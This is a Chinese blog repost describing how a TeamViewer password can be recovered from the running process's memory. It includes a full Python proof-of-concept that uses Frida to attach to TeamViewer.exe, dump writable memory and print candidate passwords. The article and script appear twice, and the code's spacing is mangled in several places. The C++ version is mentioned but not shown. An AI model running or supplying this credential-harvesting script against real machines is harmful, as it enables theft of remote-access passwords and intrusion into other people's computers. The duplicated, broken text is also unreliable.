从TeamViewer的运行内存中提取密码
2017-08-09 06:04
609 查看
http://www.toutiao.com/a6450771078498763021/?tt_from=mobile_qq&utm_campaig
n=client_share&app=news_article&utm_source=mobile_qq&iid=13287414181&utm_medium=toutiao_android
TeamViewer是一款远程连接神器,相信众多的IT运营者对他不陌生。只要知道目标电脑的TeamViewer ID和密码,就可以远程连接到该台电脑。该软件的功能有点像Windows自带的远程桌面,但是远比远程桌面来的强大,特别是你的目标连接设备处于内网的情况下,TeamViewer也能轻而易举地连接上。
最近,有人写了两段小程序,顺利地从TeamViewer运行的内存中获取到了TeamViewer的密码。事情的起因是这样的:他在自己的windows上操作远程VPS主机的时候发现,只要第一次输入了远程电脑的TeamViewer密码之后。下次打开TeamViewer再次连接该主机时,密码会自动填充。好奇心来的太快就像龙卷风,他想:那这密码肯定存储在了电脑中了,可以通过某种手段将它取出来。:
于是折腾开始了,扫描TeamViewer的运行运存发现如下:
通过比对自己的TeamViewer密码,发现该密码是以Unicode的形式存储在内存中。如上图,天蓝色区域的字节为密码部分,第一个红色为起始标记数据,第二个红色为结束的标记数据,有些时候结束的标记数据可能是( 00 00 00 20 00 00)。
为了使用代码提取出密码,这位大牛写了两个程序:Python版本和C++版本。
首先通过使用Frida库,将python脚本附加到TeamViewer.exe进程,获取该进程下每个库的地址和内存大小,然后开始搜索开始为[00 88]字节到结束为[00 00 00]字节这一段中间的内容,然后再将他们根据密码规则和要求解码出来。
C++版本运行后,你可以得到密码"asdQWE123"。
其中python文件TV_POC.py代码如下
import frida
import re
PERMS='rw-'
process ="TeamViewer.exe"
session = frida.attach(process)
print"Attached to process."
mems=session.enumerate_ranges(PERMS)
data_dump=[]
print"Check %s libs."%(len(mems))
for mem in mems:
dump =session.read_bytes(mem.base_address, mem.size)
beg=chr(int('00',16))+chr(int('88',16))
end=chr(int('00',16))+chr(int('00',16))+chr(int('00',16))
for i in dump.split(beg):
if i.find(end)>0and i.index(end)<=33:
data = i[:(i.index(end)+6)]
data_dump.append(data)
session.detach()
print"Cleaning..."
mag_dump_mask_1=[]
mag_dump_mask_2=[]
for i in data_dump:
try:
if i.endswith(chr(int('20',16))+chr(int('00',16))+chr(int('00',16))):
i=i[:len(i)-5]
fnd = re.findall('[0-9a-f]{2}00',i.encode('hex'))
if fnd:
iflen(fnd)==len(i)/2:
mag_data=unicode(i.replace(chr(int('00',16)),""))
regx=ur'^[a-zA-Z0-9!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~]*$'
if re.compile(regx,re.U).match(mag_data) andlen(mag_data)>=4andnot re.match(".*.[w]{2,4}$",mag_data):
mag_dump_mask_1.append(mag_data)
else:
i=i[:len(i)-5]
fnd = re.findall('[0-9a-f]{2}00',i.encode('hex'))
if fnd:
iflen(fnd)==len(i)/2:
mag_data=unicode(i.replace(chr(int('00',16)),""))
regx=ur'^[a-zA-Z0-9!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~]*$'
if re.compile(regx,re.U).match(mag_data) andlen(mag_data)>=4andnot re.match(".*.[w]{2,4}$",mag_data):
mag_dump_mask_2.append(mag_data)
except:
pass
iflen(mag_dump_mask_1)>0:
print"Potential values:"
for i in mag_dump_mask_1:
print i
else:
ind =len(mag_dump_mask_2)
for i in mag_dump_mask_2:
if re.match("^[0-9]*$",i) and mag_dump_mask_2.count(i)>=2:
if mag_dump_mask_2.index(i)<ind:
ind = mag_dump_mask_2.index(i)
print"Possible values: "
for i in mag_dump_mask_2[ind:]:
if mag_dump_mask_2[ind:].count(i) ==1:
print i
C++文件main.cpp代码如下:
n=client_share&app=news_article&utm_source=mobile_qq&iid=13287414181&utm_medium=toutiao_android
从TeamViewer的运行内存中提取密码
hanz的碎碎念 2017-08-05 21:00TeamViewer是一款远程连接神器,相信众多的IT运营者对他不陌生。只要知道目标电脑的TeamViewer ID和密码,就可以远程连接到该台电脑。该软件的功能有点像Windows自带的远程桌面,但是远比远程桌面来的强大,特别是你的目标连接设备处于内网的情况下,TeamViewer也能轻而易举地连接上。
最近,有人写了两段小程序,顺利地从TeamViewer运行的内存中获取到了TeamViewer的密码。事情的起因是这样的:他在自己的windows上操作远程VPS主机的时候发现,只要第一次输入了远程电脑的TeamViewer密码之后。下次打开TeamViewer再次连接该主机时,密码会自动填充。好奇心来的太快就像龙卷风,他想:那这密码肯定存储在了电脑中了,可以通过某种手段将它取出来。:
于是折腾开始了,扫描TeamViewer的运行运存发现如下:
通过比对自己的TeamViewer密码,发现该密码是以Unicode的形式存储在内存中。如上图,天蓝色区域的字节为密码部分,第一个红色为起始标记数据,第二个红色为结束的标记数据,有些时候结束的标记数据可能是( 00 00 00 20 00 00)。
为了使用代码提取出密码,这位大牛写了两个程序:Python版本和C++版本。
首先通过使用Frida库,将python脚本附加到TeamViewer.exe进程,获取该进程下每个库的地址和内存大小,然后开始搜索开始为[00 88]字节到结束为[00 00 00]字节这一段中间的内容,然后再将他们根据密码规则和要求解码出来。
C++版本运行后,你可以得到密码"asdQWE123"。
其中python文件TV_POC.py代码如下
import frida
import re
PERMS='rw-'
process ="TeamViewer.exe"
session = frida.attach(process)
print"Attached to process."
mems=session.enumerate_ranges(PERMS)
data_dump=[]
print"Check %s libs."%(len(mems))
for mem in mems:
dump =session.read_bytes(mem.base_address, mem.size)
beg=chr(int('00',16))+chr(int('88',16))
end=chr(int('00',16))+chr(int('00',16))+chr(int('00',16))
for i in dump.split(beg):
if i.find(end)>0and i.index(end)<=33:
data = i[:(i.index(end)+6)]
data_dump.append(data)
session.detach()
print"Cleaning..."
mag_dump_mask_1=[]
mag_dump_mask_2=[]
for i in data_dump:
try:
if i.endswith(chr(int('20',16))+chr(int('00',16))+chr(int('00',16))):
i=i[:len(i)-5]
fnd = re.findall('[0-9a-f]{2}00',i.encode('hex'))
if fnd:
iflen(fnd)==len(i)/2:
mag_data=unicode(i.replace(chr(int('00',16)),""))
regx=ur'^[a-zA-Z0-9!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~]*$'
if re.compile(regx,re.U).match(mag_data) andlen(mag_data)>=4andnot re.match(".*.[w]{2,4}$",mag_data):
mag_dump_mask_1.append(mag_data)
else:
i=i[:len(i)-5]
fnd = re.findall('[0-9a-f]{2}00',i.encode('hex'))
if fnd:
iflen(fnd)==len(i)/2:
mag_data=unicode(i.replace(chr(int('00',16)),""))
regx=ur'^[a-zA-Z0-9!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~]*$'
if re.compile(regx,re.U).match(mag_data) andlen(mag_data)>=4andnot re.match(".*.[w]{2,4}$",mag_data):
mag_dump_mask_2.append(mag_data)
except:
pass
iflen(mag_dump_mask_1)>0:
print"Potential values:"
for i in mag_dump_mask_1:
print i
else:
ind =len(mag_dump_mask_2)
for i in mag_dump_mask_2:
if re.match("^[0-9]*$",i) and mag_dump_mask_2.count(i)>=2:
if mag_dump_mask_2.index(i)<ind:
ind = mag_dump_mask_2.index(i)
print"Possible values: "
for i in mag_dump_mask_2[ind:]:
if mag_dump_mask_2[ind:].count(i) ==1:
print i
C++文件main.cpp代码如下:
相关文章推荐
- 利用Frida从TeamViewer内存中提取密码
- 获取运行中的TeamViewer的账号和密码(Test on English GUI)
- <转载>获取运行中的TeamViewer的账号和密码
- KeeFarce - 直接从内存中KeePass 2.x数据库中提取密码的工具
- 在无密码的账号下设置计划任务,定时关闭和启动数据采集软件,避免软件被关闭或持续运行下内存占用过高
- 减少 Windows 8 中的运行时内存
- java成员变量和局部变量的初始化和内存中的运行机制
- Java内存区域与内存溢出异常与Eclipse运行速度调优
- Hadoop运行因为container的内存大小而抛错
- Mysql 第二次运行时提示密码错误,就是进不去的解决方法
- 【001】【Java虚拟机运行时内存结构】
- Delphi 在内存中运行EXE程序,从资源文件中加载
- 手机:运行内存,机身内存,内存卡的区分
- C/C++内存与运行时深入研究
- Xcode真机运行,总是提示输入用户名和密码的解决方法
- 程序运行时内存的使用
- cocos2d-x 手游体积及运行内存优化 - 参考自 http://www.himigame.com
- 程序运行时在内存中的分布
- linux下,一个运行中的程序,究竟占用了多少内存?
- eclipse启动或者运行过程中tomcat出现内存溢出错误 java.lang.OutOfMemoryError: PermGen space